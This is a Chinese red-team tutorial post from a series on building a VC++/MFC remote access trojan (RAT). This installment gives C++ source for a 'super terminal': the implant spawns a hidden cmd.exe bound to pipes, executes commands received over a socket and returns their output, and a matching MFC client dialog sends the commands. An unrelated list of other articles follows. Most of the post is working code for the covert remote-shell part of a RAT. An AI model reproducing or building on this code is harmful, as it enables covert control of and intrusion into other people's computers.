红队专题-从零开始VC++C/S远程控制软件RAT-MFC-超级终端

news2024/12/26 23:38:14

在这里插入图片描述

红队专题

  • 招募六边形战士队员
  • [16]超级终端(1)

招募六边形战士队员

一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
在这里插入图片描述

[16]超级终端(1)

服务端 — 本地打开cmd — 接收命令 — 执行 — 发送回显

客户端 — 远端发送命令 — 接收回显

 





发送开启cmd命令 --- 接受命令 --- 打开cmd




1.创建管道 --- 建立连接

2.服务端 ---通过通道(net user)---> CMD ---通过管道guest---> 服务端


客户端 OPEN_CMD(#define OPEN_CMD 0x01) 服务端 1.创建管道 --- 建立连接

客户端 net user			       服务端 通过管道net user 送入CMD进程 ---通过管道guest---> 服务端

				       服务端 发送回显










class CCmdShell
{
public:
    CCmdShell(void);
    ~CCmdShell(void);
    void Cmd_Init();
    void Cmd_Recv(char recv_buff[1024]);
    void Cmd_Send();
    DWORD GetProcID();
    void Cmd_GetSock(SOCKET sock);
    void NoTaskExit(SOCKET Socket);
private:
    SOCKET m_sock_cmd;
    CMySocket m_sock;
    HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;
    PROCESS_INFORMATION pi;
	STARTUPINFO si;
};

void CCmdShell::Cmd_Recv(char recv_buff[1024])
{
    DWORD nByteWritten;
    if(strcmp("exit\r\n",recv_buff)==0)
    {
        ::CloseHandle(hWritePipe);
        ::CloseHandle(hReadPipe);
    }
    WriteFile(hWriteFile,recv_buff,strlen(recv_buff),&nByteWritten,NULL);
}

void CCmdShell::Cmd_Send()
{
    //发送命令
    SECURITY_ATTRIBUTES sa;
	DWORD len;
	char send_buff[1024];
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.lpSecurityDescriptor = NULL;
	sa.bInheritHandle = TRUE;
    CreatePipe(&hReadFile,&hWritePipe,&sa,0);

    SECURITY_ATTRIBUTES sa_r;
	sa_r.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa_r.lpSecurityDescriptor = NULL;
	sa_r.bInheritHandle = TRUE;
	//创建管道
	CreatePipe(&hReadPipe,&hWriteFile,&sa_r,0);

    MSGINFO_S msg;
    memset(&msg,0,sizeof(MSGINFO_S));
    msg.Msg_id = CMDSHELL;

	while (true)
	{
		//读取管道中的数据
        memset(send_buff,0,sizeof(send_buff));
        if(ReadFile(hReadFile,send_buff,1023,&len,NULL) == FALSE)
        {
            break;
        }
		//把管道中的数据发送给远程主机
        CMD cmd;
        memset(&cmd,0,sizeof(CMD));
        strcpy_s(cmd.command,sizeof(send_buff),send_buff);
        cmd.flag = 0;
        memcpy(msg.context,&cmd,sizeof(CMD));
        m_sock.MySend(m_sock_cmd,(char*)&msg,sizeof(MSGINFO_S));
	}
    printf("CmdThreadOver\n");
}

void CCmdShell::Cmd_Init()
{
    //初始化
    GetStartupInfoW(&si);
	si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
	//使cmd的输入输出和管道关联
	si.hStdInput = hReadPipe;
	si.hStdError = hWritePipe;
	si.hStdOutput = hWritePipe;
	si.wShowWindow = SW_HIDE;
	wchar_t cmdline[256]={0};
	//得到系统路径
	GetSystemDirectory(cmdline,sizeof(cmdline));
    wcscat_s(cmdline,_T("\\cmd.exe"));
	//创建cmd进程
	if (CreateProcess(cmdline, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) == 0)
	{
		printf("CreateProcess Error\n");
	}
    ::CloseHandle(pi.hProcess);
}

void CCmdShell::Cmd_GetSock(SOCKET sock)
{
    m_sock_cmd = sock;
}

case CMDSHELL:
            {
                printf("CmeShell\n");
                m_cmd.Cmd_GetSock(l_Socket);
                ::CloseHandle(CreateThread(0,0,SendCmd,(LPVOID)&m_cmd,0,0));
                Sleep(200);
                ::CloseHandle(CreateThread(0,0,InitCmd,(LPVOID)&m_cmd,0,0));
            }
            break;
        case COMMAND: //未修改
            {
                CMD recvcmd;
                char recv_buff[1024];
                memset(&recvcmd,0,sizeof(CMD));
                memcpy(&recvcmd,msg.context,sizeof(CMD));
                memset(recv_buff,0,sizeof(recv_buff));
                strcpy_s(recv_buff,1024,recvcmd.command);
                if(m_task.ExistTask(m_cmd.GetProcID()) == false)
                {
                    m_cmd.NoTaskExit(l_Socket);
                    break;
                }
                m_cmd.Cmd_Recv(recv_buff);
            }
            break;

//客户端

    void GetReturnInfo(CMD t);
private:
    CStringToTransform m_str;
    CRect m_rect;
    CMySocket m_Mysock;
    SOCKET m_sock;
    MSGINFO msg;
    static unsigned int __stdcall OnCmdRecv(LPVOID self);
    void OnCmdRecv_run();

BOOL CCmdShell::PreTranslateMessage(MSG* pMsg)
{
    // TODO: 在此添加专用代码和/或调用基类
    if(pMsg->message==WM_KEYDOWN)  
    {  
        int nVirtKey = (int)pMsg->wParam;
        if(nVirtKey==VK_RETURN)  
        {
            //发送消息
            if(m_send.GetSafeHwnd()==::GetFocus())
            {
                if(GetDlgItem(IDC_EDIT2)->GetWindowTextLengthW() == 0)
                {
                    return TRUE;
                }
                CString str;
                GetDlgItem(IDC_EDIT2)->GetWindowTextW(str);
                msg.Msg_id = COMMAND;
                CMD cmd;
                memset(&cmd,0,sizeof(CMD));
                memset(&msg,0,sizeof(MSGINFO));
                m_str.CStringToChar(str,cmd.command);
                if(strcmp(cmd.command,"exit")==0)
                {
                    SendMessageW(WM_CLOSE,0,0);
                    return TRUE;
                }
                msg.Msg_id = COMMAND;
                strcat_s((char*)cmd.command,sizeof(cmd.command),"\r\n");
                memcpy(msg.context,&cmd,sizeof(CMD));
                m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(msg));
                GetDlgItem(IDC_EDIT2)->SetWindowTextW(_T(""));
                str.ReleaseBuffer();
            }
            return TRUE;
        }
        else if(nVirtKey==VK_ESCAPE)
        {
            return TRUE;
        }
    }
    return CDialog::PreTranslateMessage(pMsg);
}

void CCmdShell::GetReturnInfo(CMD t)
{
    if(t.flag == 0)
    {
        CString tem;
        wchar_t *pwText;
        pwText = m_str.CharToCString(t.command);
        m_recv.GetWindowTextW(tem);
        m_recv.SetWindowTextW(tem + pwText);
        m_recv.SetSel(-1);
        delete[] pwText;
        m_send.GetFocus();
    }
    else
    {
        MessageBox(_T("服务端CMD进程被意外结束"),_T("提示"),MB_OK|MB_ICONWARNING);
        SendMessageW(WM_CLOSE,0,0);
    }
}

void CCmdShell::OnClose()
{
    // TODO: 在此添加消息处理程序代码和/或调用默认值
    MSGINFO msg;
    CMD cmd;
    memset(&msg,0,sizeof(MSGINFO));
    memset(&cmd,0,sizeof(CMD));
    msg.Msg_id = COMMAND;
    strcpy_s((char*)cmd.command,sizeof("exit\r\n"),"exit\r\n");
    memcpy(msg.context,&cmd,sizeof(CMD));
    m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(msg));

    //CDialog::OnClose();
    ((CItemData*)this->m_pParentWnd)->m_cmd = NULL;
    DestroyWindow();
    delete this;
}

void CCmdShell::OnSize(UINT nType, int cx, int cy)
{
    CDialog::OnSize(nType, cx, cy);

    // TODO: 在此处添加消息处理程序代码
    if(nType == SIZE_MINIMIZED)
    {
        return;
    }
    CWnd *pWnd,*pWnd1;
    pWnd = GetDlgItem(IDC_EDIT1);     //获取控件句柄
    pWnd1 = GetDlgItem(IDC_EDIT2);
    if(pWnd && pWnd1)//判断是否为空,因为对话框创建时会调用此函数,而当时控件还未创建
    {
        CRect rect,rect_l;   //获取控件变化前大小
        GetClientRect(&rect_l);
        pWnd->GetWindowRect(&rect);
        ScreenToClient(&rect);
        rect.right = rect.right + (rect_l.right - m_rect.right);
        rect.bottom= rect.bottom + (rect_l.bottom - m_rect.bottom);
        pWnd->MoveWindow(rect);//设置控件大小

        pWnd1->GetWindowRect(&rect);
        ScreenToClient(&rect);
        rect.top = rect.top + (rect_l.bottom - m_rect.bottom);
        rect.right = rect.right + (rect_l.right - m_rect.right);
        rect.bottom= rect.bottom + (rect_l.bottom - m_rect.bottom);
        pWnd1->MoveWindow(rect);//设置控件大小
    }
    else
    {
        delete pWnd;
    }
    GetClientRect(&m_rect);
}

GetClientRect(&m_rect);
    MSGINFO msg;
    memset(&msg,0,sizeof(MSGINFO));
    msg.Msg_id = CMDSHELL;
    if(m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(msg))==SOCKET_ERROR)
    {
        MessageBox(_T("启用CMD命令发送失败"),_T("错误"),MB_OK|MB_ICONINFORMATION);
    }

typedef struct tagCMD //CMD命令信息
{
    int flag;
    char command[1024];
}CMD;

void CStringToTransform::CStringToChar(CString str,char* w)
{
	int len = WideCharToMultiByte(CP_ACP,0,str,str.GetLength(),NULL,0,NULL,NULL);
	WideCharToMultiByte(CP_ACP,0,str,str.GetLength(),w,len,NULL,NULL);
	w[len] = '\0';
}

wchar_t* CStringToTransform::CharToCString(char* temp) //替换
{
    DWORD dwNum = MultiByteToWideChar (CP_ACP, 0, temp, -1, NULL, 0);
    wchar_t *pwText;
    pwText = new wchar_t[dwNum];
    if(!pwText)
    {
        delete []pwText;
    }
    MultiByteToWideChar (CP_ACP, 0, temp, -1, pwText, dwNum);
    return pwText;
}

void CStringToChar(CString str,char* w);
    wchar_t* CharToCString(char* temp);

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1201941.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Rectangle:掌控你的Mac视窗,提升工作效率

你是否曾经在Mac上同时处理多个窗口,却因为无法有效管理而感到困扰?现在,一款全新的窗口管理工具正在改变这一切,它就是Rectangle。 Rectangle是一款简单而强大的窗口管理工具,适用于Mac系统。它改变了传统的窗口管理…

深度学习AI识别人脸年龄

以下链接来自 落痕的寒假 GitHub - luohenyueji/OpenCV-Practical-Exercise: OpenCV practical exercise GitHub - luohenyueji/OpenCV-Practical-Exercise: OpenCV practical exercise import cv2 as cv import time import argparsedef getFaceBox(net, frame, conf_thresh…

拆解软件定义汽车:OS突围

软件作为智能汽车的核心组成部分,由于自身较为独立和复杂的IT学科体系,其技术链路、产业分工、价值分配、商业模式相对硬件产品(如域控、激光雷达、摄像头等硬件)而言,在汽车产业内探讨和传播相对较少。 11月3日&…

GoLong的学习之路,进阶,语法之并发(并发错误处理)补充并发三部曲

这篇文章主要讲的是如何去处理并发的错误。 在Go语言中十分便捷地开启goroutine去并发地执行任务,但是如何有效的处理并发过程中的错误则是一个很棘手的问题。 文章目录 recovererrgroup recover 哦对,似乎没写错误处理的文章。后面补上。 首先&…

Mac 本地部署thinkphp8【配置环境】

PHP开发工具 我这里选择的是VSCode,里面安装PHP插件 把thinkphp的项目放到 切换到phpenv ![在这里插入图片描述](https://img-blog.csdnimg.cn/a15cc442fab74754ad86d74f6d9942e5.png URL重写如果不改,在请求的时候地址是这样的‘http://tp.com/index.php…

数据可视化模板案例:制造业提高生产力的关键

一、模板背景 在这个信息爆炸的时代,数据对于企业的成功至关重要。制造业作为全球经济的重要组成部分,如何有效利用数据提高生产效率、降低成本、优化决策,已成为行业关注的焦点。 二、方案思路 配⾊ - 科技蓝,贴合⼯业主题。 …

【算法与数据结构】78、90、LeetCode子集I, II

文章目录 一、题目二、78.子集三、90.子集II三、完整代码 所有的LeetCode题解索引,可以看这篇文章——【算法和数据结构】LeetCode题解。 一、题目 二、78.子集 思路分析:【算法与数据结构】77、LeetCode组合。本题可以参考77题的组合问题代码&#xff0…

/etc/init.d/functions: Syntax error: “(“ unexpected (expecting “done“)

一.问题描述: ubuntu系统安装服务时报错: 二.问题解析: Ubuntu安装时默认使用dash,shell脚本命令失败,需要安装bash来运行,长期解决该问题就是重新配置dash 三:问题解决: sudo dpkg-reconfi…

迅为龙芯2K1000开发板虚拟机ubuntu启动root用户

作为嵌入式开发人员,系统的所有权限都要为我们打开,所以我们不必像运维那样,对 root 用户非常敏感,所以安装完 ubuntu 系统以后,我们要启用 root 用户。 首先我们打开 ubuntu 控制终端,然后在终端里面输入…

wireshark抓包并进行Eigrp网络协议分析

路由协议 Eigrp ​ EIGRP:Enhanced Interior Gateway Routing Protocol 即 增强内部网关路由协议。也翻译为 加强型内部网关路由协议。 EIGRP是Cisco公司的私有协议(2013年已经公有化)。 EIGRP结合了链路状态和距离矢量型路由选择协议的Cisco专用协议&a…

银行数据中心机房动力环境监控系统设计与优化

安科瑞电气股份有限公司 上海嘉定201801 摘要:结合银行数据中心建设项目,设计银行数据中心机房动力环境监控系统,分析银行数据中心机房监控对象、搭建系统监控架构,给出监控实现方法,*后针对运行一段时间出现的问题&a…

关于淘宝API接口你必须了解的API2.0

据说API从1.0升级到2.0啦?今天我们来聊一聊关于淘宝API接口你必须了解的API2.0 然而 作为新手小白 …… 并不懂API是毛线 好吧 …… 今天 我们就来上一堂小白入门课 几句话聊聊API 高级淘客 请忽略 请批评 请交流 还有请看到最底下 有重磅消息&#xf…

人大女王金融硕士毕业生:追风而遇、沐光同行;心羽为翼,不负韶华!

中国人民大学-加拿大女王大学金融硕士2022-2023级行业高管班 新加坡大东方人寿北京代表处首席代表 01、社会发展推动金融业持续迭代,为更好应对未来挑战,持续学习和自我升级非常重要! 2015年以来,新一代数字化和智能化信息技术…

halcon获取轮廓属性的时候报错:Contour attribute not defined(HALCON错误代码:3261)

报错截图: 在使用以下算子,获取xld的distance属性时,或者其他属性时报错。 get_contour_attrib_xld (ObjectSelected, distance, Attrib) 如果是属性报错。这里需要在调用获取轮廓属性之前先获得轮廓之间的距离。 使用以下算子:…

如何构建可视化设计中的视觉层次?

【什么是视觉层次感】 第一层级:主导元素,即最重要的视觉信息。能够很清晰的传达最重要的信息,你的主导层级通常由图形或者重要的视觉原色组成; 第二层级:应该是数据焦点,引导用户查看重要的数据指标&…

解决@Autowired警告

一.前言 再使用springboot自动注入Autowired注解时,下方会出现波浪线警告,这是什么原因呢?我们细看提示说明已经说的很清楚了,Field injection is not recommended “不建议使用字段注入”,字段注入是指通过直接将依赖项注入到类的字段中来实现依赖注入。这种方式存在一些问题…

网易数帆:云原生向左,低代码向右

网易数帆,前身是网易杭州研究院于2016年孵化的网易云,历经7载探索与沉淀,如今已进化成为覆盖云原生、低代码、大数据和人工智能四大技术赛道的数智化服务提供商,服务于金融、央国企、能源、制造等领域300余家头部企业。 近日&…

『亚马逊云科技产品测评』活动征文|Amazon EC2 的讲解及相关服务

授权声明:本篇文章授权活动官方亚马逊云科技文章转发、改写权,包括不限于在 Developer Centre, 知乎,自媒体平台,第三方开发者媒体等亚马逊云科技官方渠道 Amazon EC2 的讲解及相关服务 一、什么是 Amazon EC2?二、何为…

centos7 安装网络文件共享NFS详细过程

网络文件系统,英文Network File System(NFS),是由SUN公司研制的UNIX表示层协议(presentation layer protocol),能使使用者访问网络上别处的文件就像在使用自己的计算机一样。 多个服务器之间需要共享文件,通过NFS服务共享是一个简…

“咸阳杯·美洲队中国行”国际足球邀请赛圆满举办

巴拿马1:0乌拉圭 “咸阳杯美洲队中国行”国际足球邀请赛圆满举办 11月12日下午3:00,由陕旅集团联合承办、陕体集团协办的“咸阳杯美洲队中国行”国际足球邀请赛在咸阳奥体中心开赛。两支美洲劲旅:巴拿马国家队与乌拉圭国青队龙争虎斗&#…